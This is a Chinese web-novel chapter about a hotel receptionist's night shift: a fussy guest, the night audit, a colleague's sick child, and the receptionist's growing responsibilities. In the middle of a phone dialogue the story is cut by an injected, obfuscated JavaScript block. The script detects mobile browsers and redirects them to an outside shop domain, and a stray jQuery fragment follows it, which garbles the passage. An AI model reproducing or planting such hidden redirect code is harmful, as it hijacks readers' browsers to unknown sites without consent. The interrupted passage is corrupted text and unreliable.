晚上九点，林深到岗的时候，Helen已经坐在前台后面了。咖啡放在旁边，电脑开着，报表也开着。林深刚坐下，Helen看了她一眼。
“视频怎么样？”
“三万多。”
Helen点头。
“挺多。”
“我觉得一般。”
Helen沉默两秒。
“那你加油。”
说完继续看电脑。林深笑了一下。果然，和夏禾一个反应。
晚上十点多，入住高峰开始，前台排起小队。林深办入住，Helen站在后面看房态。十一点左右，轮到一个中年女客人，戴着帽子，拖着行李箱，刚走到前台就开口。
“我要安静一点的房间。”
“好的。”
林深开始排房。
“不要首尾房。”
“好的。”
林深重新选。
“不要靠电梯。”
“好的。”
继续换。
“不要靠楼梯。”
“好的。”
继续换。
“不要中间房。”
林深停顿了一秒。
“中间房也不要吗？”
“不要。”
“好的。”
林深继续找。旁边正在偷听的Helen低头喝了口咖啡，一句话没说。林深知道，今天没人救自己。房间重新排好，刚准备发房卡，客人又开口。
“不要靠马路。”
林深把房卡收回来，重新操作。Opera页面切来切去，房态图快被翻烂了，终于又找到一间。客人低头看了一眼。
“楼层有4吗？”
“没有。”
“那就好。”
林深刚松口气，客人继续问。
“左右住的是谁？”
林深愣了一下。
“抱歉，我们无法查询客人信息。”
“有没有小孩？”
“这个也无法确认。”
“你帮我查一下。”
林深沉默了。Helen继续喝咖啡，像什么都没听见。
“抱歉，这个确实查不了。”
客人有点不满意。
“我睡眠不好。”
“理解。”
“我最怕小孩。”
“理解。”
“上次我住酒店，隔壁小孩哭了一晚上。”
“理解。”
“所以你帮我安排一下。”
林深继续保持微笑。
“这个真的无法保证。”
客人叹了口气，仿佛酒店辜负了她。又过了一会儿。
“我要位置好的。”
林深终于问。
“什么叫位置好？”
客人认真想了想。
“舒服。”
林深差点笑出来。
“好的，舒服。”
客人满意地点点头，仿佛这已经解释清楚了。前台安静了两秒，Helen把咖啡杯放下，转过身，肩膀微微发抖，明显在憋笑。林深假装没看见，继续找房。十分钟后，终于找到一间——不靠马路，不靠电梯，不靠楼梯，没有4，不是首尾，也不是中间。客人接过房卡，林深终于准备结束战斗。结果下一秒，客人又抬头。
“朝向呢？”
整个前台安静了，连实习生都停下动作。林深看着她，沉默三秒，忽然理解为什么Helen每天都要喝咖啡。
“朝南。”
“那行。”
客人终于满意，拖着行李走了。电梯门缓缓关上，前台安静下来。Helen终于忍不住笑出声。
“不错。”
“什么不错？”
“没翻脸。”
林深看着她。
“我快了。”
Helen点点头。
“看出来了。”
午夜十二点以后，入住结束，大堂恢复安静。Helen开始做夜审，林深坐过去帮忙，两个人对数据，核房态，跑报表。这些东西现在已经越来越熟练。做到一半，Helen手机忽然响了，她看了一眼，起身走到后面，声音压得很低。
“退烧了吗？
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17819989|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
“药吃了吗？”
“嗯。”
“等妈妈下班。”
林深抬头看了一眼，没说话。过了几分钟，Helen回来，重新坐下，继续看报表，仿佛什么都没发生。林深低头继续核数据，过了一会儿，还是问了一句。
“儿子？”
Helen点头。
“发烧。”
“严重吗？”
“不严重。”
说完继续看电脑。没有抱怨，没有展开，像在说今天下雨了一样。
凌晨两点，夜审结束，大堂彻底安静下来。Helen开始整理第二天的VIP名单，林深打开视频后台。昨天那条视频已经涨到五万多播放，她盯着数据看了一会儿。Helen头也没抬。
“又看？”
“嗯。”
“能赚钱？”
“不知道。”
Helen点点头。
“那继续。”
林深笑了。
“你怎么什么都让我继续。”
Helen终于抬头，看了她一眼。
“因为没人会替你做。”
大堂很安静，空调吹着风，电脑屏幕亮着，玻璃门外偶尔有车经过。林深低头看着后台数据，五万七，五万八，数字还在慢慢往上跳。Helen继续整理名单，像很多个夜晚一样，又好像和以前有点不一样。不知道从什么时候开始，客人找她，实习生找她，Tom找她，连Helen都开始把越来越多的事情交给她。她忽然有种奇怪的感觉，像是有人在慢慢松手，而她正在一点一点接住。
凌晨三点，视频后台跳到了六万。Helen把最后一份名单打印出来，放进文件夹。
“林主管。”
林深抬头。
“嗯？”
Helen把文件递过来。
“明天你来。”
林深看着文件，忽然愣了一下。Helen已经低头继续喝咖啡，像只是说了一句再普通不过的话。前台很安静，窗外天还没亮，而有些事情，已经开始慢慢改变了。